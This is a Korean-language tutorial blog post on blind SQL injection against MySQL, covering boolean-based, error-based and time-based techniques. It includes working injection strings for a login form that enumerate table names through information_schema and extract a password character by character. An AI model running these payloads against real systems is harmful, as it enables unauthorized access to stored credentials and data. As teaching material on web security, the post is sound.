Post

Blind SQL Injection

Boolean-based Blind SQL Injection

쿼리 실행 결과의 True / False 여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다.

꼭 로그인에 성공해야 True인 것은 아니다. query의 실행 결과가 참인 상태에서 로그인에 실패한 것과 query 실행 결과가 거짓인 상태에서 로그인에 실패한 것 둘을 구분할 수 있다면 사용할 수 있다. 중요한 것은 query의 실행 결과를 구분할 수 있느냐다.

다음 내장 함수를 사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
SUBSTR(str,pos,len) / ASCII(str)

  

mysql> select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum';
OR
mysql> select ascii(substr((select pw from sqlinj\_test where id='umbum'), 1, 1));
+-------------------------+
| ascii(substr(pw, 1, 1)) |
+-------------------------+   -- pw is '123qwe'
|                      49 |   -- ascii('1') == 49
+-------------------------+

umbum' # 을 적어 보내면, 참일 때의 반응이 돌아온다. 이를 이용해 form에 다음과 같이 입력하면, 참일 때의 반응이 돌아온다.

1
2
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum') > 0 #

#1 information_schema를 대상으로 Blind SQL injection을 수행해 table_name, column_name 등 사전 정보를 먼저 획득하고, #2 획득한 table_name, column_name을 대상으로 Blind SQL injection을 수행해 최종적으로 필요한 정보를 획득하는 식으로 진행된다.

#1 사전 정보 획득

table_name을 알아낸다.

1
2
3
4
5
6
7
8
mysql> SELECT table\_name FROM information\_schema.tables
-> WHERE table\_type = 'BASE TABLE'
-> LIMIT 53, 1;
+-------------+
| table\_name  |
+-------------+
| sqlinj\_test |
+-------------+

결과를 한 row 씩 반환받기 위해 mysql은 LIMIT n, 1을 사용한다. n >= 0

(ROWNUM이나 TOP을 사용하는 db도 있다.)

LIMIT를 사용할 때는 rows 반환 순서를 고려해야 한다. 반환 순서가 지멋대로 일 경우 ORDER BY와 함께 사용하면 좋다.

  • 일반적인 경우 table을 생성하면 table_type은 BASE TABLE로 지정된다.
  • root 계정일 경우 BASE TABLE로 설정해도 반환되는 테이블이 꽤 많지만(보통 +52개), 일반 계정은 BASE TABLE로 설정하면 생성한 테이블만 반환된다.
1
2
3
umbum' and (SELECT ascii(substr(table\_name, 1, 1)) FROM information\_schema.tables WHERE table\_type = 'BASE TABLE' LIMIT 1, 1) > 114 # True
umbum' and (SELECT ascii(substr(table\_name, 1, 1)) FROM information\_schema.tables WHERE table\_type = 'BASE TABLE' LIMIT 1, 1) > 115 # False

따라서 첫 번째 글자는 115 = s 다. column_name도 같은 방식으로 알아낼 수 있다.

Note

1
select info from information\_schema.processlist;

조회되는 테이블이 너무 많을 때 쓸만한 방법. 현재 실행중인 쿼리를 볼 수 있기 때문에 타이밍이 맞는다면 원하는 정보를 담고 있는 테이블을 알아내는데 사용할 수 있다.

#2
1
2
3
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum') > 48 # True
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum') > 49 # False

이므로, umbum’s pw의 첫 번째 글자는 49 = '1'이다.

binary search를 이용하면 한 char 당 7번의 query만 날려도 구할 수 있어 시간을 단축할 수 있다. Note ) 그러나 사용하지 말아야 할 때도 있다. binary search는 내장 함수를 이용해 이런 방법으로도 구현할 수 있다.

1
2
3
4
## a == 0b1100001
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1);    # 1
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),2,1);    # 1
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),3,1);    # 0

'1'같은 경우 맨 앞이 0이라 6자리로 나오기 때문에 lpad()를 사용해 7자리로 맞춰주어야 한다.

Error-based Blind SQL Injection

True / False의 반응이 똑같아 구분할 수 없다면 Boolean-based는 사용할 수 없다. 그러나 이 때 Error의 반응이 다르다면 False시 Error가 발생하도록 만들어 sql True / False를 구분하는데 이용할 수 있다.

1
2
select \* from table where 1 and if(1=1,1,(select 1 union select 2))
select \* from table where 1 and if(1=2,1,(select 1 union select 2))

True이면 1을 반환하고, False이면 Error가 발생한다.

Time-base Blind SQL Injection

Time-based Blind도 True / False 여부에 상관 없이 동일한 response가 오는 상황에서 사용할 수 있다. Short-Circuit Evaluation 또는 IF를 활용해 sleep()이 실행되거나, 실행되지 않도록 한다.

This post is licensed under CC BY 4.0 by the author.